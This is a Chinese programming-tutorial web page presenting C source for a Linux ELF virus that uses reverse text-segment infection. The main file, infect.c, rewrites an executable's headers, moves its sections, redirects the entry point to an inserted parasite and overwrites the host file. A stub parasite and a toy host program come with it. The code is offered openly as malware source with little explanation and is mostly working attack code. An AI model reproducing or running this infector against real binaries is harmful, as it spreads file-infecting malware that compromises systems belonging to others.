C/C++知识点之linux下病毒(逆向 text感染)
小标 2019-05-08 来源 : 阅读 2135 评论 0

摘要:本文主要向大家介绍了C/C++知识点之linux下病毒(逆向 text感染),通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。

本文主要向大家介绍了C/C++知识点之linux下病毒(逆向 text感染),通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。

C/C++知识点之linux下病毒(逆向 text感染)

 gcc -o host host.c gcc -o infect infect.c p.c

infect.c

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>#include <sys/stat.h> #include <fcntl.h>#include <elf.h>#include <sys/mman.h>#define PAGE_SIZE 4096#define TMP ""tmp.bin""struct stat st;char *host;unsigned long entry_point;int ehdr_size; 

void mirror_binary_with_parasite(unsigned int, unsigned char *, char *);int main(int argc, char **argv){    unsigned char *mem; 

    unsigned char *tp;    int fd, i, c;    char text_found;    mode_t mode;    //病毒(shellcode)    extern char parasite[];    /* bytes of parasite */    unsigned int parasite_size;    unsigned long int leap_offset;    unsigned long parasite_vaddr;

    Elf64_Shdr *s_hdr;
    Elf64_Ehdr *e_hdr;
    Elf64_Phdr *p_hdr;

    usage:    if (argc < 3)
    {        printf(""Usage: %s <elf-host> <size-of-parasite>\n"",argv[0]); 
        exit(-1);
    }    //病毒大小
    parasite_size = atoi(argv[2]);
    host = argv[1];    printf(""Length of parasite is %d bytes\n"", parasite_size);    //打开文件    if ((fd = open(argv[1], O_RDONLY)) == -1)
    {
        perror(""open"");        exit(-1);
    }    //读文件描述符    if (fstat(fd, &st) < 0)
        {
               perror(""stat"");               exit(-1);
        } 
    //创建内存映射
    mem = mmap(NULL, st.st_size,  PROT_READ | PROT_WRITE, MAP_PRIVATE , fd, 0);    if (mem == MAP_FAILED)
    {
           perror(""mmap"");           exit(-1);
    }    //elf 文件头
    e_hdr = (Elf64_Ehdr *)mem;    //判断是否为可合法elf 文件    if (e_hdr->e_ident[0] != 0x7f && strcmp(&e_hdr->e_ident[1], ""ELF""))
        {                printf(""%s it not an elf file\n"", argv[1]);                exit(-1);
        } 

       printf(""Parasite size: %d\n"", parasite_size);       //判断是否找到代码段
       text_found = 0;       unsigned int after_insertion_offset;       //elf文件头大小
       ehdr_size = sizeof(*e_hdr);       //原始入口点
       entry_point = e_hdr->e_entry; 
       //程序头
       p_hdr = (Elf64_Phdr *)(mem + e_hdr->e_phoff);       //前面俩个程序头往后面移动
       p_hdr[0].p_offset += PAGE_SIZE;
       p_hdr[1].p_offset += PAGE_SIZE;       //遍历程序头       for (i = e_hdr->e_phnum; i-- > 0; p_hdr++) 
       {   //判断是否在可加载段后面           if (text_found)
             p_hdr->p_offset += PAGE_SIZE;           //可装载的段           if(p_hdr->p_type == PT_LOAD)            //可读/可执行            if (p_hdr->p_flags == (PF_R | PF_X))
            {              //可加载段的地址逆向增加
              p_hdr->p_vaddr -= PAGE_SIZE;              //设置新的入口为可加载段的起始位置
              e_hdr->e_entry = p_hdr->p_vaddr;              //可加载段的地址逆向增加
              p_hdr->p_paddr -= PAGE_SIZE;              //文件大小增加
              p_hdr->p_filesz += PAGE_SIZE;              //内存大小也增加
              p_hdr->p_memsz += PAGE_SIZE;
              text_found = 1;
            }
        }     //因为文件头也算在里面要移到文件头后面
     e_hdr->e_entry += sizeof(*e_hdr);     //节表头基址
     s_hdr = (Elf64_Shdr *)(mem + e_hdr->e_shoff);     //所有节移动     for (i = e_hdr->e_shnum; i-- > 0; s_hdr++)
        s_hdr->sh_offset += PAGE_SIZE;     //修改文件头中的程序头与节表偏移
     e_hdr->e_shoff += PAGE_SIZE;
     e_hdr->e_phoff += PAGE_SIZE;     printf(""new entry: %lx\n"", e_hdr->e_entry);     //开始感染 重建 elf
     mirror_binary_with_parasite(parasite_size, mem, parasite);

     done:
     munmap(mem, st.st_size);
     close(fd);

 }//创建全新二进制镜像void mirror_binary_with_parasite(unsigned int psize, unsigned char *mem, char *parasite){    int ofd;    unsigned int c;    int i, t = 0;    /* eot is: 
     * end_of_text = e_hdr->e_phoff + nc * e_hdr->e_phentsize;
     * end_of_text += p_hdr->p_filesz;
     */ 
    extern int return_entry_start;    printf(""Mirroring host binary with parasite %d bytes\n"",psize);    //1.打开一个缓冲区    if ((ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC, st.st_mode)) == -1)
    {
        perror(""tmp binary: open"");        exit(-1);
    }    //2.写入elf 文件头    if ((c = write(ofd, mem, ehdr_size)) != ehdr_size)
    {        printf(""failed writing ehdr\n"");        exit(-1);
    }    printf(""Patching parasite to jmp to %lx\n"", entry_point);    //3.设置返回为原始入口
    *(unsigned int *)¶site[return_entry_start] = entry_point;    //4.写入病毒    if ((c = write(ofd, parasite, psize)) != psize)
    {
        perror(""writing parasite failed"");        exit(-1);
    }    //5.定位缓冲区偏移指向病毒后    if ((c = lseek(ofd, ehdr_size + PAGE_SIZE, SEEK_SET)) != ehdr_size + PAGE_SIZE)
    {        printf(""lseek only wrote %d bytes\n"", c);        exit(-1);
    }    //6.指向映射文件的 elf 后面
    mem += ehdr_size;    //7.把后面所有的东西全部写入    if ((c = write(ofd, mem, st.st_size-ehdr_size)) != st.st_size-ehdr_size)
    {        printf(""Failed writing binary, wrote %d bytes\n"", c);        exit(-1);
    }    //重命名文件
    rename(TMP, host);
    close(ofd);

}

p.c

int return_entry_start = 1;//shellcodechar parasite[] =    ""\x68\x00\x00\x00\x00""    ""\xc3"";
;

host.c

#include <stdio.h>#include <unistd.h>#include <stdlib.h>int main(void){    printf(""host\n"");    exit((int)0);
}

本文由职坐标整理并发布,希望对同学们有所帮助。了解更多详情请关注职坐标编程语言C/C+频道!

本文由 @小标 发布于职坐标。未经许可,禁止转载。
喜欢 | 0 不喜欢 | 0
看完这篇文章有何感觉?已经有0人表态,0%的人喜欢 快给朋友分享吧~
评论(0)
后参与评论

您输入的评论内容中包含违禁敏感词

我知道了

助您圆梦职场 匹配合适岗位
验证码手机号,获得海同独家IT培训资料
选择就业方向:
人工智能物联网
大数据开发/分析
人工智能Python
Java全栈开发
WEB前端+H5

请输入正确的手机号码

请输入正确的验证码

获取验证码

您今天的短信下发次数太多了,明天再试试吧!

提交

我们会在第一时间安排职业规划师联系您!

您也可以联系我们的职业规划师咨询:

小职老师的微信号:z_zhizuobiao
小职老师的微信号:z_zhizuobiao

版权所有 职坐标-一站式AI+学习就业服务平台 沪ICP备13042190号-4
上海海同信息科技有限公司 Copyright ©2015 www.zhizuobiao.com,All Rights Reserved.
 沪公网安备 31011502005948号    

©2015 www.zhizuobiao.com All Rights Reserved